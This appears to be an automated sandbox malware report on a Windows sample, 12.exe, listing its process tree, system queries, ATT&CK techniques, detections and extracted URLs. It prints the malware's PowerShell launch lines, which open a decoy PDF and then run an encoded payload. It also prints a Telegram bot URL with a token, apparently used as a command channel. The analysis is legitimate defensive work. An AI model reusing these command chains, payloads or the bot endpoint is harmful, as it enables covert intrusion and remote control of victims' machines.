acab0agkabwbuaa0acgagacaaiaagah0adqakacaaiaagacaajabyaguacwagad0aiaaiafsajabpagqazqbuahqaaqbmagkazqbyaf0ajqawaeqajqawaeeaiganaaoaiaagacaaiaakahiazqbzahuabab0acaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsajabyaguacwagacsapqagafsacwb0ahiaaqbuagcaxqakaf8aiaaracaaigaladaaraaladaaqqaiah0adqakaa0acgagacaaiaagagkazgaoacqacgblahmaiaataguacqagaciaigapahsadqakacaaiaagacaaiaagacaaiaakagwayqbzahqasqbeacaapqagacqadqbwagqayqb0aguaaqbkaa0acgagacaaiaagacaaiaagacaaywbvag4adabpag4adqblaa0acgagacaaiaagah0adqakacaaiaagacaaaqbmacgajabyaguacwauaewazqbuagcadaboacaalqbnahqaiaa0adaaoqa1ackaewanaaoaiaagacaaiaagacaaiaagagyabwbyacaakaakagkaiaa9acaamaa7acaajabpacaalqbsahqaiaakahiazqbzac4atablag4azwb0aggaiaavacaanaawadkanqa7acaajabpacsakwapacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiaguazwbpag4aiaa9acaajabpacaakgagadqamaa5aduadqakacaaiaagacaaiaagacaaiaagacaaiaagacqazqbuagqaiaa9acaajabiaguazwbpag4aiaaracaanaawadkanaanaaoaiaagacaaiaagacaaiaagacaaiaagacaaaqbmacgajablag4azaagac0azwb0acaajabyaguacwauaewazqbuagcadaboackaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaakaguabgbkacaapqagacqacgblahmalgbmaguabgbnahqaaaanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabkageadabhacaapqagaciaywboageadabfagkazaa9acqazgbyag8abqamahqazqb4ahqapqaiacaakwagacqacgblahmawwakagiazqbnagkabgauac4ajablag4azabdaa0acgagacaaiaagacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabvafiataavahmazqbuagqatqblahmacwbhagcazqa/acqazabhahqayqaiaa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajabvafiasqagad4aiaakag4adqbsagwadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagah0aiablagwacwblacaaewanaaoaiaagacaaiaagacaaiaagacqazabhahqayqagad0aiaaiagmaaabhahqaxwbpagqapqakagyacgbvag0ajgb0aguaeab0ad0ajabyaguacwaiacaadqakacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabvafiataavahmazqbuagqatqblahmacwbhagcazqa/acq
Source: C:\Users\user\Desktop\12.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -command "start-process 'c:\users\user\appdata\local\temp\/file.pdf'; powershell.exe -e 'jabuag8aawblag4aiaa9acaaiga3aduanqa0admamaa3adyanga5adoaqqbbaeuaxwbsag4auqbuafkauwbyahyadqbzageaswbsagsacaboahiadgayaeqadgbzahuaqwa3aegaaabjadaacwawaciadqakacqavqbsaewaiaa9acaaigboahqadabwahmaogavac8ayqbwagkalgb0aguabablagcacgbhag0algbvahiazwavagiabwb0ahsamab9aciaiaatagyaiaakafqabwbraguabganaaoajabsageacwb0aekaraagad0aiaaxadiamwanaaoajabzagwazqblahaavabpag0azqagad0aiaayaa0acgakagkazablag4adabpagyaaqblahiaiaa9acaalqbqag8aaqbuacaakaaoadqaoaauac4anqa3ackaiab8acaarwblahqalqbsageabgbkag8abqagac0aqwbvahuabgb0acaanqagahwaiaalacaaewbbagmaaabhahiaxqakaf8afqapaa0acganaaoazgb1ag4aywb0agkabwbuacaasqbuahyabwbragualqbcag8adabdag0azaagahsadqakacaaiaagacaacabhahiayqbtacaakaanaaoaiaagacaaiaagacaaiaagacqaywbvag0abqbhag4azaanaaoaiaagacaaiaapaa0acgagacaaiaagahqacgb5acaaewanaaoaiaagacaaiaagacaaiaagacqacgblahmadqbsahqaiaa9acaasqbuahyabwbragualqbfahgacabyaguacwbzagkabwbuacgajabjag8abqbtageabgbkackadqakacaaiaagacaafqanaaoaiaagacaaiabjageadabjaggaiab7aa0acgagacaaiaagacaaiaagacaajabyaguacwb1agwadaagad0aiaakaeuacgbyag8acgbbadaaxqauaeuaeabjaguacab0agkabwbuaa0acgagacaaiaagah0adqakacaaiaagacaajabyaguacwagad0aiaaiafsajabpagqazqbuahqaaqbmagkazqbyaf0ajqawaeqajqawaeeaiganaaoaiaagacaaiaakahiazqbzahuabab0acaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsajabyaguacwagacsapqagafsacwb0ahiaaqbuagcaxqakaf8aiaaracaaigaladaaraaladaaqqaiah0adqakaa0acgagacaaiaagagkazgaoacqacgblahmaiaataguacqagaciaigapahsadqakacaaiaagacaaiaagacaaiaakagwayqbzahqasqbeacaapqagacqadqbwagqayqb0aguaaqbkaa0acgagacaaiaagacaaiaagacaaywbvag4adabpag4adqblaa0acgagacaaiaagah0adqakacaaiaagacaaaqbmacgajabyaguacwauaewazqbuagcadaboacaalqbnahqaiaa0adaaoqa1ackaewanaaoaiaagacaaiaagacaaiaagagyabwbyacaakaakagkaiaa9acaamaa7acaajabpacaalqbsahqaiaakahiazqbzac4atablag4azwb0aggaiaavacaanaawadkanqa7acaajabpacsakwapacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiaguazwbpag4aiaa9acaajabpacaakgagadqamaa5aduadqakacaaiaagacaaiaagacaaiaagacaaiaagacqazqbuagqaiaa9acaajabiaguazwbpag4aiaaracaanaawadkanaanaaoaiaagacaaiaagacaaiaagacaaiaagacaaaqbmacgajablag4azaagac0azwb0acaajabyaguacwauaewazqbuagcadaboackaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaakaguabgbkacaapqagacqacgblahmalgbmaguabgbnahqaaaanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabkageadabhacaapqagaciaywboageadabfagkazaa9acqazgbyag8abqamahqazqb4ahqapqaiacaakwagacqacgblahmawwakagiazqbnagkabgauac4ajablag4azabdaa0acgagacaaiaagacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabvafiataavahmazqbuagqatqblahmacwbhagcazqa/acqazabhahqayqaiaa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajabvafiasqagad4aiaakag4adqbsagwadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagah0aiablagwacwblacaaewanaaoaiaagacaaiaagacaaiaagacqazabhahqayqagad0aiaaiagmaaabhahqaxwbpagqapqakagyacgbvag0ajgb0aguaeab0ad0ajabyaguacwaiacaadqakacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabva	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -e jabuag8aawblag4aiaa9acaaiga3aduanqa0admamaa3adyanga5adoaqqbbaeuaxwbsag4auqbuafkauwbyahyadqbzageaswbsagsacaboahiadgayaeqadgbzahuaqwa3aegaaabjadaacwawaciadqakacqavqbsaewaiaa9acaaigboahqadabwahmaogavac8ayqbwagkalgb0aguabablagcacgbhag0algbvahiazwavagiabwb0ahsamab9aciaiaatagyaiaakafqabwbraguabganaaoajabsageacwb0aekaraagad0aiaaxadiamwanaaoajabzagwazqblahaavabpag0azqagad0aiaayaa0acgakagkazablag4adabpagyaaqblahiaiaa9acaalqbqag8aaqbuacaakaaoadqaoaauac4anqa3ackaiab8acaarwblahqalqbsageabgbkag8abqagac0aqwbvahuabgb0acaanqagahwaiaalacaaewbbagmaaabhahiaxqakaf8afqapaa0acganaaoazgb1ag4aywb0agkabwbuacaasqbuahyabwbragualqbcag8adabdag0azaagahsadqakacaaiaagacaacabhahiayqbtacaakaanaaoaiaagacaaiaagacaaiaagacqaywbvag0abqbhag4azaanaaoaiaagacaaiaapaa0acgagacaaiaagahqacgb5acaaewanaaoaiaagacaaiaagacaaiaagacqacgblahmadqbsahqaiaa9acaasqbuahyabwbragualqbfahgacabyaguacwbzagkabwbuacgajabjag8abqbtageabgbkackadqakacaaiaagacaafqanaaoaiaagacaaiabjageadabjaggaiab7aa0acgagacaaiaagacaaiaagacaajabyaguacwb1agwadaagad0aiaakaeuacgbyag8acgbbadaaxqauaeuaeabjaguacab0agkabwbuaa0acgagacaaiaagah0adqakacaaiaagacaajabyaguacwagad0aiaaiafsajabpagqazqbuahqaaqbmagkazqbyaf0ajqawaeqajqawaeeaiganaaoaiaagacaaiaakahiazqbzahuabab0acaafaagaeyabwbyaeuayqbjaggalqbpagiaagblagmadaagahsajabyaguacwagacsapqagafsacwb0ahiaaqbuagcaxqakaf8aiaaracaaigaladaaraaladaaqqaiah0adqakaa0acgagacaaiaagagkazgaoacqacgblahmaiaataguacqagaciaigapahsadqakacaaiaagacaaiaagacaaiaakagwayqbzahqasqbeacaapqagacqadqbwagqayqb0aguaaqbkaa0acgagacaaiaagacaaiaagacaaywbvag4adabpag4adqblaa0acgagacaaiaagah0adqakacaaiaagacaaaqbmacgajabyaguacwauaewazqbuagcadaboacaalqbnahqaiaa0adaaoqa1ackaewanaaoaiaagacaaiaagacaaiaagagyabwbyacaakaakagkaiaa9acaamaa7acaajabpacaalqbsahqaiaakahiazqbzac4atablag4azwb0aggaiaavacaanaawadkanqa7acaajabpacsakwapacaaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabiaguazwbpag4aiaa9acaajabpacaakgagadqamaa5aduadqakacaaiaagacaaiaagacaaiaagacaaiaagacqazqbuagqaiaa9acaajabiaguazwbpag4aiaaracaanaawadkanaanaaoaiaagacaaiaagacaaiaagacaaiaagacaaaqbmacgajablag4azaagac0azwb0acaajabyaguacwauaewazqbuagcadaboackaewanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaakaguabgbkacaapqagacqacgblahmalgbmaguabgbnahqaaaanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaajabkageadabhacaapqagaciaywboageadabfagkazaa9acqazgbyag8abqamahqazqb4ahqapqaiacaakwagacqacgblahmawwakagiazqbnagkabgauac4ajablag4azabdaa0acgagacaaiaagacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabvafiataavahmazqbuagqatqblahmacwbhagcazqa/acqazabhahqayqaiaa0acgagacaaiaagacaaiaagacaaiaagacaaiabjag4adgbvagsazqatafcazqbiafiazqbxahuazqbzahqaiaatafuacgbpacaajabvafiasqagad4aiaakag4adqbsagwadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagah0aiablagwacwblacaaewanaaoaiaagacaaiaagacaaiaagacqazabhahqayqagad0aiaaiagmaaabhahqaxwbpagqapqakagyacgbvag0ajgb0aguaeab0ad0ajabyaguacwaiacaadqakacaaiaagacaaiaagacaaiaakafuaugbjacaapqagaciajabvafiataavahmazqbuagqatqblahmacwbhagcazqa/acq	Jump to behavior

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF767F11E30 cpuid

0_2_00007FF767F11E30

Source: C:\Users\user\Desktop\12.exe	Code function: TranslateName,TranslateName,GetACP,IsValidCodePage,GetLocaleInfoW,	0_2_00007FF767F0E138
Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00007FF767F0E99C
Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoW,	0_2_00007FF767F0EA4C
Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoW,	0_2_00007FF767F06718
Source: C:\Users\user\Desktop\12.exe	Code function: EnumSystemLocalesW,GetUserDefaultLCID,ProcessCodePage,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF767F0EB80
Source: C:\Users\user\Desktop\12.exe	Code function: EnumSystemLocalesW,	0_2_00007FF767F0E494
Source: C:\Users\user\Desktop\12.exe	Code function: EnumSystemLocalesW,	0_2_00007FF767F0E564
Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00007FF767F0E5FC
Source: C:\Users\user\Desktop\12.exe	Code function: EnumSystemLocalesW,	0_2_00007FF767F06384
Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoEx,FormatMessageA,	0_2_00007FF767EF6A04
Source: C:\Users\user\Desktop\12.exe	Code function: GetLocaleInfoW,	0_2_00007FF767F0E844

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: unknown VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\12.exe

Code function: 0_2_00007FF767EF8CFC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF767EF8CFC

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	41 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	42 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
12.exe	17%	Virustotal		Browse
12.exe	16%	ReversingLabs	Win64.Adware.RedCap

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://api.telegrP	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000001.00000002.4155343764.000001A33EBAE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.4184547128.000001A34D25A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.4184547128.000001A34D391000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4207742599.000001D5CF392000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4207742599.000001D5CF250000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000001.00000002.4155343764.000001A33E6E6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.5.dr	false		high
https://api.telegram.org	powershell.exe, 00000004.00000002.4155912559.000001D5C10B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF8E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1191000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0A86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1297000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF995000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF938000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0B43000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1117000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF951000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFACB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF9B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF9E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0D84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1253000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1275000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA3A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFB13000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.4155912559.000001D5BF40C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	powershell.exe, 00000004.00000002.4155912559.000001D5BF1E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF40C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.4155912559.000001D5BF40C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 00000004.00000002.4155912559.000001D5BFB23000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000004.00000002.4207742599.000001D5CF250000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 00000004.00000002.4207742599.000001D5CF250000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000006.00000002.3406586492.000001FD0B600000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2.C:	qmgr.db.6.dr	false		high
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.4155912559.000001D5BF40C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod.C:	svchost.exe, 00000006.00000003.1768733771.000001FD0B856000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.6.dr	false		high
https://g.live.com/odclientsettings/ProdV2	qmgr.db.6.dr	false		high
https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0P	powershell.exe, 00000004.00000002.4155912559.000001D5BF40C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.micro	powershell.exe, 00000004.00000002.4214181744.000001D5D74C8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot7554307669:AAE_lnQTYSXvusaKlkpNrv2DvYuC7HhI0s0/getUpdates?offset=	powershell.exe, 00000004.00000002.4155912559.000001D5C10B5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF8E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1191000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0A86000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1297000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF995000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA67000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0B43000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFA8A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1117000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF951000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BFACB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF9B8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5BF9E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C0D84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1095000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1253000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.4155912559.000001D5C1275000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 